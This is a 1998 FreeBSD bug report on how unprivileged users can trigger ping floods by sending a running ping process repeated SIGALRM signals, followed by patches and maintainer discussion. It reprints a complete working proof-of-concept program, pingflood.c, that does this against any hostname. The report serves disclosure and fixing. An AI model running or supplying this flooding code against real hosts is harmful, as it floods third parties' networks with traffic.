From doogie@forbidden-donut.anet-stl.com  Fri May 15 17:52:53 1998
Received: from forbidden-donut.anet-stl.com (vmailer@forbidden-donut.anet-stl.com [209.83.128.17])
          by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA07379
          for <FreeBSD-gnats-submit@freebsd.org>; Fri, 15 May 1998 17:52:47 -0700 (PDT)
          (envelope-from doogie@forbidden-donut.anet-stl.com)
Received: by forbidden-donut.anet-stl.com (VMailer, from userid 1001)
	id 1C21F09824; Fri, 15 May 1998 19:52:22 -0500 (CDT)
Message-Id: <19980516005222.1C21F09824@forbidden-donut.anet-stl.com>
Date: Fri, 15 May 1998 19:52:22 -0500 (CDT)
From: doogie@forbidden-donut.anet-stl.com
Reply-To: doogie@forbidden-donut.anet-stl.com
To: FreeBSD-gnats-submit@freebsd.org
Subject: normal users can initiate gigantic ping floods
X-Send-Pr-Version: 3.2

>Number:         6649
>Category:       bin
>Synopsis:       normal users can initiate gigantic ping floods
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    imp
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Fri May 15 17:50:01 PDT 1998
>Closed-Date:    Mon Sep 14 15:30:06 MDT 1998
>Last-Modified:  Mon Sep 14 15:30:45 MDT 1998
>Originator:     Jason Young
>Release:        FreeBSD 2.2.6-STABLE i386
>Organization:
ANET St. Louis
>Environment:

All *BSDs to my knowledge.

>Description:

A normal user can initiate a gigantic ping flood by flooding a running
ping process with SIGALRMs. 

>How-To-Repeat:

This code was posted to BugTraq.

Date: Thu, 9 Apr 1998 13:03:04 +0200
From: AntireZ <md5330@MCLINK.IT>
To: BUGTRAQ@NETSPACE.ORG
Subject: pingflood.c

/*

   pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
   enhanced by David Welton <davidw@cks.com>
   I tested it only on Linux RedHat 4.1 and 5.0.
   David Welton tested it on Debian GNU/Linux and OpenBSD reporting
it           works.


   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

-------------------------------------------------------------------------

   pingflood.c allows non-root users to 'ping flood'.

   use it as follows:

        pingflood <hostname>

   WARNING: this program is only for demonstrative use only. USE IT AT
YOUR
            OWN RISK! The authors decline all responsibility for
            damage caused by misuse of the program.

   ***   if you use this program to cause harm to others, you are very
small, petty and pathetic.    ***

   to compile: gcc -o pingflood pingflood.c


-------------------------------------------------------------------------

   TECHNICAL NOTES

   When ping runs it normally sends an ICMP ECHO_REQUEST every second.
   It accomplishes this using the alarm system call and waiting for a SIGALRM
   signal from the kernel.
   Pingflood simply sends a lot of SIGALRM signals to the ping process.
   It can do this because the ping process is owned by the user.


Salvatore Sanfilippo

*/

#include <signal.h>

#define PING "/bin/ping"

main( int argc, char *argv[] )
{
  int pid_ping;

  if (argc < 2) {
    printf("use: %s <hostname>\n", argv[0]);
    exit(0);
  }

  if(!(pid_ping = fork()))
    execl(PING, "ping", argv[1], NULL);

  if ( pid_ping <=0 ) {
    printf("pid <= 0\n");
    exit(1);
  }

  sleep (1);  /* give it a second to start going  */
  while (1)
    if ( kill(pid_ping, SIGALRM) )
      exit(1);
}

>Fix:

My suggested patch. It's had MINIMAL TESTING ONLY. Other fixes or comments
welcome.
	
*** ping.c	Fri Mar  6 07:07:12 1998
--- ping.c.new	Fri May 15 19:40:23 1998
***************
*** 158,167 ****
--- 158,168 ----
  double tsumsq = 0.0;		/* sum of all times squared, for std. dev. */
  
  volatile sig_atomic_t finish_up;  /* nonzero if we've been told to finish up */
  int reset_kerninfo;
  volatile sig_atomic_t siginfo_p;
+ volatile time_t lasttime;
  
  static void fill(char *, char *);
  static u_short in_cksum(u_short *, int);
  static void catcher(int sig);
  static void check_status(void);
***************
*** 209,218 ****
--- 210,220 ----
  
  	setuid(getuid());
  	uid = getuid();
  
  	preload = 0;
+ 	lasttime = 0;
  
  	datap = &outpack[8 + sizeof(struct timeval)];
  	while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) {
  		switch(ch) {
  		case 'a':
***************
*** 518,540 ****
  static void
  catcher(int sig)
  {
  	int waittime;
  	struct sigaction si_sa;
  
! 	pinger();
  
  	if (!npackets || ntransmitted < npackets)
  		(void)alarm((u_int)interval);
  	else {
- 		if (nreceived) {
- 			waittime = 2 * tmax / 1000;
- 			if (!waittime)
- 				waittime = 1;
- 		} else
- 			waittime = MAXWAIT;
- 
  		si_sa.sa_handler = stopit;
  		sigemptyset(&si_sa.sa_mask);
  		si_sa.sa_flags = 0;
  		if (sigaction(SIGALRM, &si_sa, 0) == -1) {
  			finish_up = 1;
--- 520,551 ----
  static void
  catcher(int sig)
  {
  	int waittime;
  	struct sigaction si_sa;
+ 	time_t timenow;
  
! 	if (nreceived) {
! 		waittime = 2 * tmax / 1000;
! 		if (!waittime)
! 			waittime = 1;
! 	} else
! 		waittime = MAXWAIT;
! 
! 	/* Die if SIGALRM is caught earlier than it should have been. This
! 	 * is usually the result of someone sending thousands of SIGALRMs
! 	 * in an attempt to simulate a ping -f (flood).
! 	 */
! 
! 	if(time((time_t *)&timenow) < lasttime + waittime) exit(0);
! 	lasttime = timenow;
  
+ 	pinger();
+ 	
  	if (!npackets || ntransmitted < npackets)
  		(void)alarm((u_int)interval);
  	else {
  		si_sa.sa_handler = stopit;
  		sigemptyset(&si_sa.sa_mask);
  		si_sa.sa_flags = 0;
  		if (sigaction(SIGALRM, &si_sa, 0) == -1) {
  			finish_up = 1;
>Release-Note:
>Audit-Trail:
State-Changed-From-To: open->suspended 
State-Changed-By: phk 
State-Changed-When: Tue May 19 03:01:13 PDT 1998 
State-Changed-Why:  
awaiting committer 
Responsible-Changed-From-To: freebsd-bugs->steve 
Responsible-Changed-By: steve 
Responsible-Changed-When: Sun May 24 20:53:19 PDT 1998 
Responsible-Changed-Why:  
Patch committed to -current, thanks!  I will MFC if nobody 
thinks of any problems with the patch. 
Responsible-Changed-From-To: steve->imp 
Responsible-Changed-By: steve 
Responsible-Changed-When: Sun May 24 23:53:56 PDT 1998 
Responsible-Changed-Why:  
Warner Losh is working on a better fix based on one from OpenBSD. 

From: Jason Young <doogie@forbidden-donut.anet-stl.com>
To: freebsd-gnats-submit@freebsd.org, steve@freebsd.org
Cc:  Subject: Re: bin/6649: [MFC] normal users can initiate gigantic ping floods
Date: Mon, 25 May 1998 01:24:26 -0500

 I found, later, that ping starts aborting on hosts with heavy loss or those
 that don't respond at all. I'm not sure how to fix it (could figure it out,
 but swamped here at work), but I thought I better at least mention
 something before it gets MFC'd.
 
 -- 
 Jason Young
 ANET Chief Network Engineer

From: Bill Fenner <fenner@parc.xerox.com>
To: njs3@doc.ic.ac.uk (Niall Smart)
Cc: Steve Price <steve@FreeBSD.ORG>, freebsd-gnats-submit@hub.freebsd.org
Subject: Re: bin/6649 
Date: Mon, 25 May 1998 10:12:15 PDT

 Perhaps it's appropriate to rewrite ping's main loop to contain a
 select with timeout, similar to traceroute's.  catcher() does lots
 of stuff that you're not supposed to do from signal handlers anyway.
 
   Bill

From: Bill Fenner <fenner@parc.xerox.com>
To: doogie@forbidden-donut.anet-stl.com, freebsd-gnats-submit@freebsd.org,
        steve@freebsd.org
Cc:  Subject: Re: bin/6649: ping
Date: Mon, 25 May 1998 11:57:46 PDT

 Here are some patches that remove the use of SIGALRM in ping, and
 one of the abuses of signal handlers.  This will also help with
 bin/5658 if the RTT is smaller than the ping interval (e.g.  packets
 won't be sent while pr_pack() is trying to print a packet).
 
   Bill
 
 diff -u /usr/src/sbin/ping/ping.c ./ping.c
 --- /usr/src/sbin/ping/ping.c	Fri Mar  6 05:07:12 1998
 +++ ./ping.c	Mon May 25 11:46:07 1998
 @@ -163,7 +163,6 @@
  
  static void fill(char *, char *);
  static u_short in_cksum(u_short *, int);
 -static void catcher(int sig);
  static void check_status(void);
  static void finish(void) __dead2;
  static void pinger(void);
 @@ -182,12 +181,12 @@
  	int argc;
  	char *const *argv;
  {
 -	struct timeval timeout;
 +	struct timeval last, intvl;
  	struct hostent *hp;
  	struct sockaddr_in *to;
  	struct termios ts;
  	register int i;
 -	int ch, fdmask, hold, packlen, preload, sockerrno;
 +	int ch, hold, packlen, preload, sockerrno, almost_done = 0;
  	struct in_addr ifaddr;
  	unsigned char ttl, loop;
  	u_char *datap, *packet;
 @@ -376,6 +375,7 @@
  	/* record route option */
  	if (options & F_RROUTE) {
  #ifdef IP_OPTIONS
 +		bzero(rspace, sizeof(rspace));
  		rspace[IPOPT_OPTVAL] = IPOPT_RR;
  		rspace[IPOPT_OLEN] = sizeof(rspace)-1;
  		rspace[IPOPT_OFFSET] = IPOPT_MINOFF;
 @@ -438,11 +438,6 @@
  		err(EX_OSERR, "sigaction SIGINT");
  	}
  
 -	si_sa.sa_handler = catcher;
 -	if (sigaction(SIGALRM, &si_sa, 0) == -1) {
 -		err(EX_OSERR, "sigaction SIGALRM");
 -	}
 -
  	si_sa.sa_handler = status;
  	if (sigaction(SIGINFO, &si_sa, 0) == -1) {
  		err(EX_OSERR, "sigaction");
 @@ -457,35 +452,70 @@
  	while (preload--)		/* fire off them quickies */
  		pinger();
  
 -	if ((options & F_FLOOD) == 0)
 -		catcher(0);		/* start things going */
 +	if (options & F_FLOOD) {
 +		intvl.tv_sec = 0;
 +		intvl.tv_usec = 10000;
 +	} else {
 +		intvl.tv_sec = interval;
 +		intvl.tv_usec = 0;
 +	}
 +
 +	pinger();			/* send the first ping */
 +	gettimeofday(&last, NULL);
  
  	while (!finish_up) {
  		struct sockaddr_in from;
  		register int cc;
 -		int fromlen;
 +		int fromlen, n;
 +		struct timeval timeout, now;
 +		fd_set rfds;
  
  		check_status();
 -		if (options & F_FLOOD) {
 -			pinger();
 -			timeout.tv_sec = 0;
 -			timeout.tv_usec = 10000;
 -			fdmask = 1 << s;
 -			if (select(s + 1, (fd_set *)&fdmask, (fd_set *)NULL,
 -			    (fd_set *)NULL, &timeout) < 1)
 -				continue;
 +		FD_ZERO(&rfds);
 +		FD_SET(s, &rfds);
 +		gettimeofday(&now, NULL);
 +		timeout.tv_sec = last.tv_sec + intvl.tv_sec - now.tv_sec;
 +		timeout.tv_usec = last.tv_usec + intvl.tv_usec - now.tv_usec;
 +		while (timeout.tv_usec < 0) {
 +			timeout.tv_usec += 1000000;
 +			timeout.tv_sec--;
  		}
 -		fromlen = sizeof(from);
 -		if ((cc = recvfrom(s, (char *)packet, packlen, 0,
 -		    (struct sockaddr *)&from, &fromlen)) < 0) {
 -			if (errno == EINTR)
 +		while (timeout.tv_usec > 1000000) {
 +			timeout.tv_usec -= 1000000;
 +			timeout.tv_sec++;
 +		}
 +		if (timeout.tv_sec < 0)
 +			timeout.tv_sec = timeout.tv_usec = 0;
 +		n = select(s + 1, &rfds, NULL, NULL, &timeout);
 +		if (n == 1) {
 +			fromlen = sizeof(from);
 +			if ((cc = recvfrom(s, (char *)packet, packlen, 0,
 +			    (struct sockaddr *)&from, &fromlen)) < 0) {
 +				if (errno == EINTR)
 +					continue;
 +				perror("ping: recvfrom");
  				continue;
 -			perror("ping: recvfrom");
 -			continue;
 +			}
 +			pr_pack((char *)packet, cc, &from);
 +			if (npackets && nreceived >= npackets)
 +				break;
 +		}
 +		if (n == 0) {
 +			if (!npackets || ntransmitted < npackets)
 +				pinger();
 +			else {
 +				if (almost_done)
 +					break;
 +				almost_done = 1;
 +				if (nreceived) {
 +					intvl.tv_sec = 2 * tmax / 1000;
 +					if (!intvl.tv_sec)
 +						intvl.tv_sec = 1;
 +				} else
 +					intvl.tv_sec = MAXWAIT;
 +			}
 +			gettimeofday(&last, NULL);
  		}
 -		pr_pack((char *)packet, cc, &from);
 -		if (npackets && nreceived >= npackets)
 -			break;
  	}
  	finish();
  	/* NOTREACHED */
 @@ -506,54 +536,12 @@
  }
  
  /*
 - * catcher --
 - *	This routine causes another PING to be transmitted, and then
 - * schedules another SIGALRM for 1 second from now.
 - *
 - * bug --
 - *	Our sense of time will slowly skew (i.e., packets will not be
 - * launched exactly at 1-second intervals).  This does not affect the
 - * quality of the delay and loss statistics.
 - */
 -static void
 -catcher(int sig)
 -{
 -	int waittime;
 -	struct sigaction si_sa;
 -
 -	pinger();
 -
 -	if (!npackets || ntransmitted < npackets)
 -		(void)alarm((u_int)interval);
 -	else {
 -		if (nreceived) {
 -			waittime = 2 * tmax / 1000;
 -			if (!waittime)
 -				waittime = 1;
 -		} else
 -			waittime = MAXWAIT;
 -
 -		si_sa.sa_handler = stopit;
 -		sigemptyset(&si_sa.sa_mask);
 -		si_sa.sa_flags = 0;
 -		if (sigaction(SIGALRM, &si_sa, 0) == -1) {
 -			finish_up = 1;
 -			return;
 -		}
 -		(void)alarm((u_int)waittime);
 -	}
 -}
 -
 -/*
   * pinger --
   *	Compose and transmit an ICMP ECHO REQUEST packet.  The IP packet
   * will be added on by the kernel.  The ID field is our UNIX process ID,
   * and the sequence number is an ascending integer.  The first 8 bytes
   * of the data portion are used to hold a UNIX "timeval" struct in host
   * byte-order, to compute the round-trip time.
 - *
 - * bug --
 - *	this does far too much to be called from a signal handler.
   */
  static void
  pinger(void)
State-Changed-From-To: suspended->closed 
State-Changed-By: imp 
State-Changed-When: Mon Sep 14 15:30:06 MDT 1998 
State-Changed-Why:  
ping has been fixed a long time ago to use select rather than SIGALRM. 
>Unformatted:
